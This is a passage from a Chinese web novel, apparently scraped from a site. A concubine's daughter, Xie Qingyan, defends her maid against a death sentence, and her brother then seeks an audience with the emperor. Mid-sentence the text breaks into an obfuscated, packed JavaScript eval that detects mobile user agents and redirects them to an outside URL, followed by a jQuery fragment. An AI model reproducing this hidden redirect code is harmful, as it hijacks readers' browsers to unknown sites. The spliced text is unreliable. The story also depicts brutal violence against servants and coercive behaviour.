话音落下,屋内瞬间一静。
但也只是一瞬,下仆们就像没有听见一般依旧上前抓人。只因为谢清颜的话根本没有实质的份量,她这个人,这个身份,在谢家就是个“笑话”,没有人会听“笑话”的话。
而秋霜本就因为娘老子的事情在哭,被几人扯住也不挣扎了,反而是自暴自弃的任由他们抓着。
涉及到“处理人”的事情,还是男仆们比较有经验,他们办事狠辣,动作也很粗鲁,就算秋霜并不反抗,也被扯住了头发像杀鸡一样拖行着,甚至膝盖上的布料在地面滑脱出了两条渗人的血印!
就这样,秋霜也只是默默哭着,期间还不忘抬头看了谢清颜一眼。
这绝对不是求救,这是希望谢清颜能够明哲保身,以自己的死为这件事划上句号,不希望谢清颜被牵连其中。
可这一眼又何其无辜?谢清颜又如何能坐视不理,她没有办法接受,更不能无动于衷。
凭什么,凭什么她的丫鬟的命如草芥?
又为什么,为什么始作俑者能够安然无恙,只是破了点皮,就能心安理得的接受一条人命的赔偿?
更为什么,为什么她的母亲挣扎病榻,而囚她的人却可以在外面逍遥快乐?!
难道只有他们的喜怒才是喜怒,“他们”的命才是命?!
一时间,深深的不公萦绕在谢清颜脑海里,它们无孔不钻,像一根针见缝就插,无时无刻不在提醒她,提醒她的无能。她心底恨的滴血,双眼泛红,以至于需要死死咬住唇,才能叫这份恨不泄露半分。
“不行!你们不能抓人!”谢清颜直接扑到秋霜身上,挡住她。
这毕竟是主子,还有不少人在,下人们也不好真的强行动手,一时间纷纷停了手看向谢夫人。
谢夫人倒是诧异了,她微眯起双眼,“哦?为何?”
谢夫人出生很好,多年来又执掌谢家,能将全家打理的井井有条,浑身早就充满了独断专行上位者的霸气。如今骤然受到反驳,还是来自于这个她并不放在眼里庶女身上,一时间也不知道心底升起的是可笑,还是小看了谢清颜想法。
出乎意料的当然不只是谢夫人,在场所有人都是,一时间,大家都在看着这个冒然出声的庶女。
谢帘栊当下整个人更是呼吸不顺了,他狠狠咬紧牙关,若是眼神能有实质,那必将当场化成一双大手,将谢清颜死死囚在怀里,令其不能说出半个字来。
可这显然是不能的,谢清颜连眼神都没施舍给他半分,只是很平静的将手放在裙摆处,提起跪地。
“母亲,这不行。”
谢夫人冷笑一声,“为何不行?难道你认为我是在同你商量不成?”
谢清颜缓缓摇了摇头,表示自已并没有这个意思,她的话音缓慢却坚定,却透出一丝鱼死网破的挣扎,还有少有的固执,“这个事情错的并不是我的婢女,就算告到开封府、大理寺该受到惩罚的也不是她。”
谁家没有婢女犯错?谁家不处置几个婢女。
每年从世家抬着出去的下人不计其数,谢清颜这话无疑是在威胁谢夫人,而谢夫人岂容她威胁?
“反了你,居然还想告到官府?”谢夫人当下就怒了,她不断的拍着桌子,手背上的青筋因为用力都爆凸起来,“她没有错?我告诉你谢清颜,她这种低贱的身份,主子即使让她立刻去死,她都该照办不误,更何况是看上了她?”
“她的错就是那点可笑的反抗心思。而你亦有错!顶撞主母,试图威胁,你眼底还有礼孝忠义吗?”
礼孝这个沉甸甸的罪名一砸,事情便不能在以简单的是非对错来判定,可要就这样定秋霜的罪,谢清颜是绝对不愿的。
她不知想了什么,忽然间抬头看了一眼谢帘栊,这视线偏冷,带着不加掩饰的恨。和谢帘栊凶狠的目光一交接,瞬间如同冰火交融在半空中发出巨大的爆破声。
谢帘栊当场心惊。
可谢清颜丝毫未退让,就着这样的目光对视,话却是对谢夫人说的,
“母亲息怒,这事虽秋霜有错,但清颜亦有错。女儿未能规戒好下人,才导致弟弟受伤,清颜实在羞愧。但请母亲责罚清颜,才能叫清颜这个做姐姐的心里好受一些。”
“既然如此……”谢夫人早就想处理这个祸害了,可因为没有正当的由头,心里也畏惧那些悠悠之口,如今谢清颜主动送上门来,她巴不得的就答应了,并且在短短一瞬间想了无数个处理的方法。
但谢帘栊的声音更快,更大,“不成!”
一而再再而三的开口阻拦,就是傻子都听出来不对劲了,谢夫人惊疑不定的目光在二人面前来回打转,心底里有了那个最不堪的猜想。
这实在是一件非常可怕的事情,可怕到谢夫人当下面色苍白的近乎病态,其惊愕程度不亚于在当初进门后知道谢艳云的存在后的反应。
她压下倒抽的那口凉气,过了好久手指抬起,指着谢清颜,话断断续续的,“给我把她拖出去…拖出去,一并处理了……”
这一下,谢帘栊面色剧变,冷汗从他的身上不断的浮出,今夜所有的感性都在此刻终止,理智就像一把刀直接贯穿他的大脑,在其中劈开几道深刻的划痕。
他瞬间懂了谢清颜眼神里的深意,再也没有冲动行事,辩解的话也卡在了喉咙里。
“等等。”一直不出声的谢斯年开口了。
谢斯年长相斯文,是随了谢父的,但几年的宦海沉浮令他身上带着说不出来的冷肃,此刻眉头微微蹙紧,声音也严冽的厉害,“母亲,这事情本不关妹妹的事,也不关这个小丫头的事。”
话音落下,谢清颜微微松了口气。
谢父酒醉不醒,谢斯年的份量等同于当家主君,他的决定是有关键意义的,那些已经快伸到谢清颜身上的手瞬间收回。
众仆皆眼观鼻,鼻观地的低下头。
这一幕无疑是打了谢夫人的脸,可面对这个争气的儿子,她没有办法反驳,那双因着匆匆赶来没有精心描绘的眉毛,更是在此刻削弱了她平时的凌厉。
短短一瞬间,谢夫人似乎老了十来岁,她唇瓣翕动几下,到底松了口,“你要如何,你弟弟受了伤总不能不处置吧。”
谢斯年看着到底不忍了,微微思量,“仗责五十吧。”
“不行,必须要处死这个丫头,否则日后下人们有样学样还如何管教。”谢夫人厉声开口。
其实五十个板子打下去,人早就出气多进气少了,可这个惩罚是有不确定性的,只要有一丝活下去的可能,谢夫人就不能答应。而这也是谢夫人退让后的态度,谢斯年身为儿子并不能违拗。
谢斯年面上露出犹豫,“但……”
“哥哥!”谢清颜实在不能赌谢斯年会说出什么,她深深叩头,头重重砸在地上,鲜血瞬间涌出,朵朵艳丽的血花为这无尽的夜色平添了几分凄凉感。
她的身姿实在是太过单薄了,即便叩礼行的非常标准,可上半身伏倒,腿蜷在身下的姿势下,依旧只能看见小小瘦瘦的一团,“母亲,哥哥,此时深夜贸然处置一个婢女只会令别人家揣测。不如留她的性命,明天一早在做处置。”
谢清颜的话不无道理,谢夫人无奈下只能妥协,可临走时深看了她一眼,指着她,“你,好的很。”
和聪明人打交道就是如此省心,谢夫人最后留下的短短几个字,谢清颜懂了,谢帘栊亦懂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450038|201157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
此刻谢帘栊脸上的怒不是能形容出来的,没有人能比自己更明白那种感觉,那种魂不附体,灵魂出窍的感觉,不亚于小死了几回。
巨大的愤怒下,谢帘栊直接伸手一把提起谢清颜,以两指嵌住她下颌,逼迫她看自己,眼神也是居高临下的死死钉在她脸上,“你想借着母亲来压我?你想把事情闹大,你想死不成?!”
电光火石间,有一丝隐秘的东西就快串联起来,但后怕却占据了此刻谢帘栊大部分理智,只因谢清颜开了口,她的声音很轻,眼神游离没有定格,对他的态度又回到了那种厌倦的状态。
“呵……死,我这样活着和死了有什么两样。若是秋霜死了我也不想活了。”
这便是明晃晃的威胁了,可谢帘栊却罕见的没有强势回击,只因这么近的距离,呼吸都在交叠,那张过于清丽的脸也一览无遗,细密的睫毛下泪水垂挂,那张小脸上的神色实在不能算好,而谢夫人留下来的婆子已经在门外不知道看了几回了。
深深的无力感包裹,谢帘栊烦躁的不知如何是好,只能是松了手,此刻更是明白了谢夫人的感受,指着她开口,“你好的很,好得很……。”
“你以为这样就可以摆脱我了?我告诉你谢清颜你做梦!你给我在屋子里等着!”
谢帘栊行事果断,不会任由事情发酵过夜。漏夜便前往皇宫。
而深衣夜行,并不是所有人都和谢帘栊那样的好精力可以彻夜不眠,此刻他等在偏殿内,烛光伴着地上的金砖,交织成一道冰冷的华光映在他拧紧的眉头间。
等了许久,帘幔后发出一阵细微的声响。
是庆帝来了。
一帘之隔,光线并不太明亮,太监刘喜边搀扶着庆帝,边在前方领路,出于关心开口劝了句,“陛下,这更深露重的,您至少该多披件衣裳。”
“若是受凉染了风寒,对龙体可有损啊。”
此时正值夏季,刘喜的话颇有违和,但庆帝如今年过半百,皇权侵阀下身子早不似壮年那样结实,现在睡梦中骤然起身,颧骨两侧都染上了病态的红光,看的人心里发直。
刘喜的话本是好意,庆帝听了却顿了身,他睨着身旁的刘喜,声音平静,“你这是说朕身子不好,怕活不过几年了吧。”
这话无疑是诛心之言,刘喜当下就跪了,头不停的叩地,“奴才没有,奴才没有……”
砰砰砰的声音响起,面对着这个陪伴了十数年的太监,庆帝忽的笑了,深邃的眼底是久居高位的俾睨,“你瞧你,一把老身子骨了还这么冒失,朕不过是同你玩笑罢了。”
刘喜并不认为这位至高无上的帝王在同他说笑,于是叩头声不止,但求饶声戛然而止。
不多时地上便囚出一滩血水。
望着这一幕,庆帝终是升出了一丝愉悦,抬脚踹开刘喜,“明日午时,你裹棉衣在外头暴晒三个时辰谢罪,这事就过去了。”
说罢,掀开帘幔坐在宝座上。无形的威压就此铺开,如同一张通天大网,盖的人不敢有任何动静。
庆帝看着殿下之人,双手放在膝上,“说罢,有什么事求朕。”
“帘栊有心仪的女郎了。”面对问话,谢帘栊并不遮掩,伸手撩袍跪在殿前,此刻被砸出来的伤经过处理,额发遮挡打眼看也看不出什么。
“哦?”庆帝拢了拢衣襟,似感兴趣的开口。
深衣夜行,庆帝当然不会认为在宫门下钥后进宫,是为了闲聊家常,只是他也没有挑破,而是顺着思量一下,沉声道,“你今年十五了吧。嗯……确实到了少年人知少艾的年龄了。”
“不知是何家女郎,居然让你求到朕的面前来。”庆帝忽然笑道。